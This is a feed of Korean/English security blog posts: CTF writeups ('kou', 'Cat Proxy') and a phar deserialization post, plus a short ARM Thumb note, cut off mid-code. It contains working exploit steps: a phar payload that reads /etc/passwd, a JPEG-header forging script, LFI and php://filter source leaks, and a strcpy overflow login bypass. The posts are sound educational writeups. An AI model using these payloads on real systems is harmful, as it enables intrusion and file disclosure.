<span class="nv">$output</span> <span class="o">=</span> <span class="nb">curl_exec</span><span class="p">(</span><span class="nv">$ch</span><span class="p">);</span>
<span class="k">echo</span> <span class="nv">$output</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="o">@</span><span class="nb">unlink</span><span class="p">(</span><span class="s2">"test.tar"</span><span class="p">);</span>
<span class="nv">$phar</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">PharData</span><span class="p">(</span><span class="s2">"get_flag.tar"</span><span class="p">);</span>
<span class="nv">$phar</span><span class="p">[</span><span class="s2">"AAABshpik"</span><span class="p">]</span> <span class="o">=</span> <span class="s2">"FLAGFLAGFLAG"</span><span class="p">;</span>
<span class="nv">$obj</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Requests</span><span class="p">(</span><span class="s1">'file:///etc/passwd'</span><span class="p">);</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">setMetadata</span><span class="p">(</span><span class="nv">$obj</span><span class="p">);</span>
</code></pre></div></div>
<p>하지만 이렇게 업로드하게되면, header format에 맞지 않습니다.</p>
<p><img src="https://raw.githubusercontent.com/SeahunOh/seahunoh.github.io/master/assets/images/cat_proxy2.png" alt="" /></p>
<p>아래의 코드를 통해 위의 AAABshpik의 값을 jpg header format에 맞게 변경하였습니다.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">struct</span>
<span class="k">def</span> <span class="nf">calcChecksum</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="k">return</span> <span class="nb">sum</span><span class="p">(</span><span class="n">struct</span><span class="p">.</span><span class="n">unpack_from</span><span class="p">(</span><span class="s">"148B8x356B"</span><span class="p">,</span><span class="n">data</span><span class="p">))</span><span class="o">+</span><span class="mi">256</span>
<span class="k">if</span> <span class="n">__name__</span><span class="o">==</span><span class="s">"__main__"</span><span class="p">:</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span><span class="o">!=</span><span class="mi">3</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"argv[1] is filename</span><span class="se">\n</span><span class="s">argv[2] is output filename.</span><span class="se">\n</span><span class="s">"</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="c1"># Make new checksum
</span> <span class="n">new_name</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xFF\xD8\xFF\xDB</span><span class="s">shpik"</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">100</span><span class="p">,</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">new_data</span> <span class="o">=</span> <span class="n">new_name</span> <span class="o">+</span> <span class="n">data</span><span class="p">[</span><span class="mi">100</span><span class="p">:]</span>
<span class="n">checksum</span> <span class="o">=</span> <span class="n">calcChecksum</span><span class="p">(</span><span class="n">new_data</span><span class="p">)</span>
<span class="n">new_checksum</span> <span class="o">=</span> <span class="nb">oct</span><span class="p">(</span><span class="n">checksum</span><span class="p">).</span><span class="n">rjust</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span><span class="s">'0'</span><span class="p">)</span><span class="o">+</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span>
<span class="n">new_data</span> <span class="o">=</span> <span class="n">new_name</span> <span class="o">+</span> <span class="n">data</span><span class="p">[</span><span class="mi">100</span><span class="p">:</span><span class="mi">148</span><span class="p">]</span> <span class="o">+</span> <span class="n">new_checksum</span> <span class="o">+</span> <span class="n">data</span><span class="p">[</span><span class="mi">156</span><span class="p">:]</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span><span class="s">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">new_data</span><span class="p">)</span>
</code></pre></div></div>
<p>위의 코드를 통해 jpg파일을 생성한 후 서버에 업로드하면 /etc/passwd를 읽을 수 있습니다.</p>
<p><img src="https://raw.githubusercontent.com/SeahunOh/seahunoh.github.io/master/assets/images/cat_proxy3.png" alt="" /></p>
<p>이로써 Exploit부분을 마치겠습니다.</p>
<h2 id="solution">Solution</h2>
<p>이 공격은 file 관련 함수를 쓸 때, phar과 같은 wrapper를 필터링 해주므로써 쉽게 방지할 수 있습니다. 주의할 점은 php에서 wrapper의 경우 <u>대소문자에 민감하지 않으므로</u>, 필터링 하려는 wrapper의 <strong><u>대소문자를 필터링 해주어야</u></strong> 합니다.</p>
<h2 id="vulnerable-function">Vulnerable Function</h2>
<ul>
<li>include(‘phar://test.phar’);</li>
<li>file_get_contents(‘phar://test.phar’);</li>
<li>file_put_contents(‘phar://test.phar’, ‘’);</li>
<li>copy(‘phar://test.phar’, ‘’);</li>
<li>file_exists(‘phar://test.phar’);</li>
<li>is_executable(‘phar://test.phar’);</li>
<li>is_file(‘phar://test.phar’);</li>
<li>is_dir(‘phar://test.phar’);</li>
<li>is_link(‘phar://test.phar’);</li>
<li>is_writable(‘phar://test.phar‘);</li>
<li>fileperms(‘phar://test.phar’);</li>
<li>fileinode(‘phar://test.phar’);</li>
<li>filesize(‘phar://test.phar’);</li>
<li>fileowner(‘phar://test.phar’);</li>
<li>filegroup(‘phar://test.phar’);</li>
<li>fileatime(‘phar://test.phar’);</li>
<li>filemtime(‘phar://test.phar’);</li>
<li>filectime(‘phar://test.phar’);</li>
<li>filetype(‘phar://test.phar’);</li>
<li>getimagesize(‘phar://test.phar’);</li>
<li>exif_read_data(‘phar://test.phar’);</li>
<li>stat(‘phar://test.phar’);</li>
<li>lstat(‘phar://test.phar’);</li>
<li>touch(‘phar://test.phar‘);</li>
<li>md5_file(‘phar://test.phar’);</li>
<li>and so on..</li>
</ul>shpik시작하기에 앞서Why $pc+1 in Thumb mode?(ARM)2019-01-22T00:00:00+00:002019-01-22T00:00:00+00:00http://blog.shpik.kr/2019/01/22/ARM_Thumb<h2 id="introduce">Introduce</h2>
<p>이번에는 제 궁금증에 의해서 찾아본 자료이며, 장문이 아닌 짧은 글입니다.</p>
<p>평소에는 Thumb mode 디버깅할 때 $pc+1을 했었는데, 지금 생각해보니 왜 하는지를 몰랐습니다.</p>
<p>그래서 찾아보았습니다.</p>
<h2 id="arm-mode-thumb-mode">ARM mode? Thumb mode?</h2>
<p>ARM은 흔히 우리가 사용하는 Intel과는 다른 Architecture입니다.</p>
<p>그래서 ARM을 처음 분석하시는 분들은 당황하실 수 도 있으나, Intel Architecture에서 분석하시던 분들도 좀만 보시면 저보다 잘하실 겁니다.</p>
<p>ARM이면 ARM이지 Thumb모드는 뭘까요?</p>
<p>ARM mode는 Machine Code가 32bit로 구성되어 있습니다.</p>
<p>그 반면에 Thumb mode에서는 Machine Code가 16bit입니다.</p>
<p>ARM mode에서는 R0 ~ R15(16개)의 레지스터를 사용하고, Thumb mode에서는 R0~R7(8개)의 레지스터를 사용합니다.</p>
<p>ARM mode와 Thumb mode는 BX / BLX 등의 명렁어(X로 끝나는 분기문)을 통해 변환이 가능합니다.</p>
<p>왜 나눠놨는지는 과거 CPU와 RAM의 보급과 관련이 되어 있으니 관심있으신 분들은 찾아보시기 바랍니다!</p>
<h2 id="why-pc1-in-thumb-mode">Why $pc+1 in Thumb mode?</h2>
<p>이 포스팅의 본 주제입니다.</p>
<p>정말 별거 아닌 부분인데 왜 이렇게 해야 gdb를 통해 정상적인 명령어가 나오는지를 이해하지 못했었습니다.</p>
<p>이유는 생각보다 간단하였습니다.</p>
<p>gdb의 x/i $pc 를 통해 disassembly의 값을 볼 때, ARM mode의 경우 제대로 분석이 될 것입니다.</p>
<p>하지만 Thumb mode의 경우 정체를 알수없는 assembly가 나오죠.</p>
<p>그 이유는 위에서 언급한 Machine Code의 크기때문입니다.</p>
<p>$pc+1을 하는 이유는 <u>맨 마지막 비트를 켜주므로써</u> 지금 부터 분석할 부분이 Thumb mode라는 것을 gdb에게 알려주는 것이죠.</p>
<p>그래서 Thumb mode를 분석할 때는, x/i $pc+1 해주므로써 정상적으로 분석을 진행할 수 있습니다.</p>
<p>이로써 포스팅을 마치겠습니다.</p>
<p>잘못된 정보나 오타 지적은 언제든 환영합니다 :)</p>shpikIntroduceTenDollar CTF - kou writeup2018-12-01T00:00:00+00:002018-12-01T00:00:00+00:00http://blog.shpik.kr/2018/12/01/kou_writeup<h2 id="information">Information</h2>
<p>Category : Web, Pwn</p>
<p>Solver : 7</p>
<p>Tag : LFI, Overflow</p>
<h2 id="description">Description</h2>
<p>Author: @shpik</p>
<p>Eagle-Jump is black company?</p>
<p>Server Info: http://web2.tendollar.kr:10101/</p>
<h2 id="exploit">Exploit</h2>
<p>It have 4 menu in this site. (੭ ᐕ)੭*⁾⁾</p>
<ul>
<li>Home</li>
<li>Article</li>
<li>Login</li>
<li>Join</li>
</ul>
<p>This site handles the page through the p parameter.</p>
<p><code class="language-plaintext highlighter-rouge">http://web2.tendollar.kr:10101/?p=home</code></p>
<p>p parameter is not allow wrapper and directory traversal.</p>
<p>There is a Secret Data in the Article menu.</p>
<p>If you read this, you will not get the contents with the message “You’re not admin.”</p>
<p>When you request article you can see that it is requested as f parameter.</p>
<p><code class="language-plaintext highlighter-rouge">http://web2.tendollar.kr:10101/?p=view&f=First%20Article</code></p>
<p>f parameter is allow directory traversal, but wrapper is not allowed.</p>
<p>Leak index.php.</p>
<p><code class="language-plaintext highlighter-rouge">http://web2.tendollar.kr:10101/?p=view&f=../../var/www/html/index.php</code></p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"><!-- index.php --></span>
<span class="cp"><!DOCTYPE html></span>
<span class="nt"><html></span>
<span class="nt"><head></span>
<span class="nt"><title></span>Yagami Kou's Homepage<span class="nt"></title></span>
<span class="nt"><link</span> <span class="na">rel=</span><span class="s">stylesheet</span> <span class="na">href=</span><span class="s">"index.css"</span><span class="nt">></span>
<span class="nt"></head></span>
<span class="nt"><body></span>
<span class="cp"><?php</span>
<span class="o">@</span><span class="k">include_once</span><span class="p">(</span><span class="s1">'menu.php'</span><span class="p">);</span>
<span class="cp">?></span>
<span class="nt"><br></span>
<span class="cp"><?php</span>
<span class="nv">$pageList</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span>
<span class="s1">'home'</span><span class="p">,</span>
<span class="s1">'login'</span><span class="p">,</span>
<span class="s1">'loginchk'</span><span class="p">,</span>
<span class="s1">'logout'</span><span class="p">,</span>
<span class="s1">'view'</span><span class="p">,</span>
<span class="s1">'board'</span><span class="p">,</span>
<span class="s1">'join'</span>
<span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="nb">in_array</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'p'</span><span class="p">],</span> <span class="nv">$pageList</span><span class="p">))</span> <span class="p">{</span>
<span class="o">@</span><span class="k">include_once</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'p'</span><span class="p">]</span><span class="mf">.</span><span class="s1">'.php'</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="o">@</span><span class="k">include_once</span><span class="p">(</span><span class="s1">'home.php'</span><span class="p">);</span>
<span class="p">}</span>
<span class="cp">?></span>
<span class="nt"></body></span>
<span class="nt"></html></span>
</code></pre></div></div>
<p>Let’s take a look at loginchk which seems to be important the pageList.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"><!-- loginchk.php --></span>
<span class="cp"><?php</span>
<span class="nv">$id</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'id'</span><span class="p">];</span>
<span class="nv">$pw</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'pw'</span><span class="p">];</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$id</span><span class="o">!=</span><span class="s1">''</span> <span class="o">&&</span> <span class="nv">$pw</span><span class="o">!=</span><span class="s1">''</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/kou/i'</span><span class="p">,</span><span class="nv">$id</span><span class="p">)){</span>
<span class="k">die</span><span class="p">(</span><span class="s1">'<script>alert("Don\'t login at kou.");history.back();</script>'</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nf">login</span><span class="p">(</span><span class="nv">$id</span><span class="p">,</span><span class="nv">$pw</span><span class="p">)){</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'is_login'</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'admin'</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">echo</span> <span class="s1">'<script>alert("Login Success.");location.href="?p=home";</script>'</span><span class="p">;</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">echo</span> <span class="s1">'<script>alert("Login Fail.");history.back();</script>'</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">echo</span> <span class="s1">'<script>alert("Login Fail.");history.back();</script>'</span><span class="p">;</span>
<span class="p">}</span>
<span class="cp">?></span>
</code></pre></div></div>
<p>It is not allow login as “kou” in loginchk.php.</p>
<p>But, <strong>login</strong> function that verify id and password is not built-ins function.</p>
<p>Maybe, It is called by another modules.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"><!-- view.php --></span>
<span class="cp"><?php</span>
<span class="nv">$f</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'f'</span><span class="p">];</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">is_array</span><span class="p">(</span><span class="nv">$f</span><span class="p">)</span> <span class="o">&&</span> <span class="o">!</span><span class="nb">is_null</span><span class="p">(</span><span class="nv">$f</span><span class="p">)</span> <span class="o">&&</span> <span class="nv">$f</span><span class="o">!=</span><span class="s1">''</span><span class="p">){</span>
<span class="c1">// $f = str_replace('../','', $f);</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$f</span><span class="p">[</span><span class="nb">strlen</span><span class="p">(</span><span class="nv">$f</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">==</span><span class="s1">'/'</span><span class="p">){</span>
<span class="nv">$f</span><span class="p">[</span><span class="nb">strlen</span><span class="p">(</span><span class="nv">$f</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">==</span><span class="s1">'\0'</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/Secret Data/i'</span><span class="p">,</span><span class="nv">$f</span><span class="p">)</span> <span class="o">&&</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'admin'</span><span class="p">]</span><span class="o">==</span><span class="mi">1</span><span class="p">){</span>
<span class="cp">?></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"description"</span><span class="nt">></span>
<span class="nt"><p</span> <span class="na">style=</span><span class="s">"font-size: 20px;"</span><span class="nt">></span>Secret Data<span class="nt"></p></span>
<span class="nt"><br><br></span>
<span class="nt"><pre></span><span class="cp"><?php</span> <span class="nf">loadFile</span><span class="p">(</span><span class="nv">$f</span><span class="p">);</span> <span class="cp">?></span><span class="nt"></pre></span>
<span class="nt"></div></span>
<span class="cp"><?php</span>
<span class="p">}</span><span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/Secret Data/i'</span><span class="p">,</span><span class="nv">$f</span><span class="p">)</span> <span class="o">&&</span> <span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'admin'</span><span class="p">]</span><span class="o">==</span><span class="mi">0</span><span class="p">){</span>
<span class="cp">?></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"description"</span><span class="nt">></span>
<span class="nt"><p</span> <span class="na">style=</span><span class="s">"font-size: 20px;"</span><span class="nt">></span>Secret Data<span class="nt"></p></span>
<span class="nt"><br><br></span>
<span class="nt"><pre></span>You're not admin.<span class="nt"></pre></span>
<span class="nt"></div></span>
<span class="cp"><?php</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="cp">?></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"description"</span><span class="nt">></span>
<span class="nt"><p</span> <span class="na">style=</span><span class="s">"font-size: 20px;"</span><span class="nt">></span><span class="cp"><?=</span><span class="nv">$f</span><span class="p">;</span><span class="cp">?></span><span class="nt"></p></span>
<span class="nt"><br><br></span>
<span class="cp"><?php</span>
<span class="k">if</span><span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/kou\.so/i'</span><span class="p">,</span><span class="nv">$f</span><span class="p">)){</span>
<span class="k">echo</span> <span class="s1">'Okay Here<br><div>'</span><span class="mf">.</span><span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'/var/www/modules/kou.so'</span><span class="p">)</span><span class="mf">.</span><span class="s1">'</div>'</span><span class="p">;</span>
<span class="p">}</span>
<span class="cp">?></span>
<span class="nt"><pre></span><span class="cp"><?php</span> <span class="nf">loadFile</span><span class="p">(</span><span class="nv">$f</span><span class="p">);</span> <span class="cp">?></span><span class="nt"></pre></span>
<span class="nt"></div></span>
<span class="cp"><?php</span>
<span class="p">}</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">echo</span> <span class="s1">'<script>alert("No found.");history.back();</script>'</span><span class="p">;</span>
<span class="p">}</span>
<span class="cp">?></span>
</code></pre></div></div>
<p>Next, see the view.php.</p>
<p>It seems that f parameter is being distributed to the page through <strong>loadFile</strong> function.</p>
<p>but, It is not built-ins function, too.</p>
<p>If you request kou.so with f parameter, you will see that you are giving the kou.so file.</p>
<p>Open it !</p>
<p><img src="https://raw.githubusercontent.com/SeahunOh/seahunoh.github.io/master/assets/images/kou1.png" alt="" /></p>
<p><strong>loadFile</strong> function just open file using fopen function.</p>
<p>Next, I see the <strong>login</strong> function.</p>
<p><img src="https://raw.githubusercontent.com/SeahunOh/seahunoh.github.io/master/assets/images/kou2.png" alt="" /></p>
<p>It is verfying to input value(id, pw) using loginchk function.</p>
<p><img src="https://raw.githubusercontent.com/SeahunOh/seahunoh.github.io/master/assets/images/kou3.png" alt="" /></p>
<p><strong>loginchk</strong> function is compare id and pw to “kou” and “1e0c6abede7ff7184c3cefe606f9760a”.</p>
<p>but, id can’t contain “kou” because of loginchk.php.</p>
<p>Vulnerability is <strong>login function</strong>.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">strcpy</span><span class="p">(</span><span class="n">_id</span><span class="p">,</span> <span class="n">id</span><span class="p">);</span>
<span class="n">v3</span> <span class="o">=</span> <span class="n">strcpy</span><span class="p">(</span><span class="n">_pw</span><span class="p">,</span> <span class="n">pw</span><span class="p">);</span>
</code></pre></div></div>
<p>It copy input value to _id and _pw using strcpy.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="n">_pw</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span> <span class="c1">// [rsp+20h] [rbp-68h]</span>
<span class="kt">char</span> <span class="n">_id</span><span class="p">[</span><span class="mi">33</span><span class="p">];</span> <span class="c1">// [rsp+40h] [rbp-48h]</span>
</code></pre></div></div>
<p>If you look at stacks of _id and _pw, you can see _pw followed by _id.</p>
<p>And copy id, then copy pw, but strcpy don’t check length.</p>
<p>It is occur <strong><u>stack overflow</u></strong>.</p>
<p>If pw is inputed by “1e0c6abede7ff7184c3cefe606f9760akou”, then _id is “kou” and _pw is “1e0c6abede7ff7184c3cefe606f9760a”.</p>
<p>So, you can login as kou.</p>
<p>Now when you log in with id = a, pw = 1e0c6abede7ff7184c3cefe606f9760akou on the login page, you can login as kou.</p>
<p>After login as kou, you can read Secret Data and get Flag!</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Secret Data
退勤する前にFLAGを残していきます。
TDCTF{Eagle_Jump_is_bl4ck_C0mpany_But_i_w4nt_to_g0_ther3}
</code></pre></div></div>
<p><strong>FLAG :</strong> TDCTF{Eagle_Jump_is_bl4ck_C0mpany_But_i_w4nt_to_g0_ther3}</p>shpikInformationTenDollar CTF - Cat Proxy writeup2018-11-30T00:00:00+00:002018-11-30T00:00:00+00:00http://blog.shpik.kr/2018/11/30/Cat-Proxy_writeup<h2 id="information">Information</h2>
<p>Category : Web</p>
<p>Solver : 1</p>
<p>Tag : LFI, Unserialize, SSRF, MySQL</p>
<h2 id="description">Description</h2>
<p>Author: @shpik</p>
<p><a href="https://www.youtube.com/watch?v=wZZ7oFKsKzY">https://www.youtube.com/watch?v=wZZ7oFKsKzY</a></p>
<p>Server Info: <a href="http://web2.tendollar.kr:8100/">http://web2.tendollar.kr:8100/</a></p>
<h2 id="exploit">Exploit</h2>
<p>It have 3 menu in this site.</p>
<ul>
<li>Home</li>
<li>Login</li>
<li>Join</li>
</ul>
<p>First, sign in at join page, then you show additional 2 menu.</p>
<ul>
<li>Nyaa</li>
<li>Profile</li>
</ul>
<p>Input url in nyaa page and the page you inputed will be displayed on the screen in nyaaa page.</p>
<p>If you upload to image in Profile page, then will be change your avatar to uploaded image.</p>
<p>I have uploaded a .php file but it seems that it can not be uploaded unless the extension is jpg, jpeg, gif, png.</p>
<p>This site handles the page through the p parameter.</p>
<p>You can leak the source code using a php wrapper to p parameter.</p>
<p><code class="language-plaintext highlighter-rouge">http://web2.tendollar.kr:8100/?p=php://filter/convert.base64-encode/resource=index</code></p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"><!-- index.php --></span>
<span class="cp"><?php</span>
<span class="nb">error_reporting</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="k">include</span><span class="p">(</span><span class="s1">'config.php'</span><span class="p">);</span>
<span class="k">include</span><span class="p">(</span><span class="s1">'lib.php'</span><span class="p">);</span>
<span class="k">include</span><span class="p">(</span><span class="s1">'header.php'</span><span class="p">);</span>
<span class="nv">$page</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'p'</span><span class="p">];</span>
<span class="k">if</span><span class="p">(</span><span class="nb">is_null</span><span class="p">(</span><span class="nv">$page</span><span class="p">)</span> <span class="o">||</span> <span class="nb">is_array</span><span class="p">(</span><span class="nv">$page</span><span class="p">)</span><span class="o">||</span> <span class="nv">$page</span><span class="o">==</span><span class="s1">''</span><span class="p">){</span>
<span class="nv">$page</span> <span class="o">=</span> <span class="s1">'home'</span><span class="p">;</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/phar|zip|gopher|file:|\.\.|dict|iter|glob|ftp/i'</span><span class="p">,</span><span class="nv">$page</span><span class="p">)){</span>
<span class="nv">$page</span> <span class="o">=</span> <span class="s1">'home'</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">include</span><span class="p">(</span><span class="nv">$page</span><span class="mf">.</span><span class="s1">'.php'</span><span class="p">);</span>
<span class="k">include</span><span class="p">(</span><span class="s1">'footer.php'</span><span class="p">);</span>
<span class="cp">?></span>
</code></pre></div></div>
<p>Leaks config.php and lib.php source code.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"><!-- config.php --></span>
<span class="cp"><?php</span>
<span class="c1">// error_reporting(0);</span>
<span class="nv">$host</span> <span class="o">=</span> <span class="s2">"catproxy_db_1"</span><span class="p">;</span>
<span class="nv">$user</span> <span class="o">=</span> <span class="s2">"cat"</span><span class="p">;</span>
<span class="nv">$db_schema</span> <span class="o">=</span> <span class="s2">"cat"</span><span class="p">;</span>
<span class="nv">$port</span> <span class="o">=</span> <span class="mi">3306</span><span class="p">;</span>
<span class="nv">$mysql</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">mysqli</span><span class="p">(</span><span class="nv">$host</span><span class="p">,</span> <span class="nv">$user</span><span class="p">,</span> <span class="s2">""</span><span class="p">,</span> <span class="nv">$db_schema</span><span class="p">,</span><span class="nv">$port</span><span class="p">);</span>
<span class="nv">$mysql</span><span class="o">-></span><span class="nf">query</span><span class="p">(</span><span class="s2">"SET NAMES utf8"</span><span class="p">);</span>
<span class="cp">?></span>
<span class="c"><!-- lib.php --></span>
<span class="cp"><?php</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'phar.readonly'</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="kd">class</span> <span class="nc">Requests</span><span class="p">{</span>
<span class="k">public</span> <span class="nv">$url</span><span class="p">;</span>
<span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$url</span><span class="p">){</span>
<span class="nv">$this</span><span class="o">-></span><span class="n">url</span> <span class="o">=</span> <span class="nv">$url</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">__destruct</span><span class="p">(){</span>
<span class="nv">$ch</span> <span class="o">=</span> <span class="nb">curl_init</span><span class="p">();</span>
<span class="nb">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="no">CURLOPT_URL</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-></span><span class="n">url</span><span class="p">);</span>
<span class="nb">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="no">CURLOPT_RETURNTRANSFER</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="nv">$output</span> <span class="o">=</span> <span class="nb">curl_exec</span><span class="p">(</span><span class="nv">$ch</span><span class="p">);</span>
<span class="k">echo</span> <span class="s1">'<div class="description">'</span><span class="mf">.</span><span class="nv">$output</span><span class="mf">.</span><span class="s1">'</div>'</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cp">?></span>
</code></pre></div></div>
<p>config.php contains information about the database connection, but it does not have a password.</p>
<p><code class="language-plaintext highlighter-rouge">Requests</code> class is declared in lib.php.</p>
<p>This class executes curl based on the url you entered when declaring it.</p>
<p>The important code is <code class="language-plaintext highlighter-rouge">ini_set ('phar.readonly', 0);</code> with the phar.readonly option set to False.</p>
<p>Leaks nyaa.php and nyaaa.php source code.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"><!-- nyaa.php --></span>
<span class="cp"><?php</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'is_login'</span><span class="p">]</span> <span class="o">!==</span><span class="mi">1</span> <span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('Login please.');history.back();</script>"</span><span class="p">);</span>
<span class="cp">?></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"description"</span><span class="nt">><br><br></span>
<span class="nt"><form</span> <span class="na">action=</span><span class="s">"?p=nyaaa"</span> <span class="na">method=</span><span class="s">"post"</span><span class="nt">></span>
<span class="nt"><center></span>Cat is going to anywhere!!!<span class="nt"></center><br><br></span>
<span class="nt"><table</span> <span class="na">class=</span><span class="s">"loginform"</span><span class="nt">></span>
<span class="nt"><tr></span>
<span class="nt"><td></span>URL : <span class="nt"></td></span>
<span class="nt"><td><input</span> <span class="na">type=</span><span class="s">"text"</span> <span class="na">name=</span><span class="s">"url"</span> <span class="na">size=</span><span class="s">"80"</span><span class="nt">></td></span>
<span class="nt"></tr></span>
<span class="nt"><tr></span>
<span class="nt"><td</span> <span class="na">colspan=</span><span class="s">2</span> <span class="na">style=</span><span class="s">"align: right;"</span><span class="nt">><input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"Request"</span><span class="nt">></td></span>
<span class="nt"></tr></span>
<span class="nt"></table></span>
<span class="nt"></form></span>
<span class="nt"></div></span>
<span class="c"><!-- nyaaa.php --></span>
<span class="cp"><?php</span>
<span class="k">if</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'is_login'</span><span class="p">]</span> <span class="o">!==</span><span class="mi">1</span> <span class="p">)</span> <span class="k">die</span><span class="p">(</span><span class="s2">"<script>alert('Login please.');history.back();</script>"</span><span class="p">);</span>
<span class="cp">?></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"description"</span><span class="nt">><br><br></span>
Result : <span class="nt"><br><br></span>
<span class="cp"><?php</span>
<span class="nv">$url</span> <span class="o">=</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'url'</span><span class="p">];</span>
<span class="k">if</span><span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/phar|zip|gopher|php|dict|iter|glob|ftp|file|%0d|%0a/i'</span><span class="p">,</span><span class="nv">$url</span><span class="p">)){</span>
<span class="k">echo</span> <span class="s2">"Hacking Detected!<br>What's are you doing now nyaa?!"</span><span class="p">;</span>
<span class="p">}</span><span class="k">else</span><span class="p">{</span>
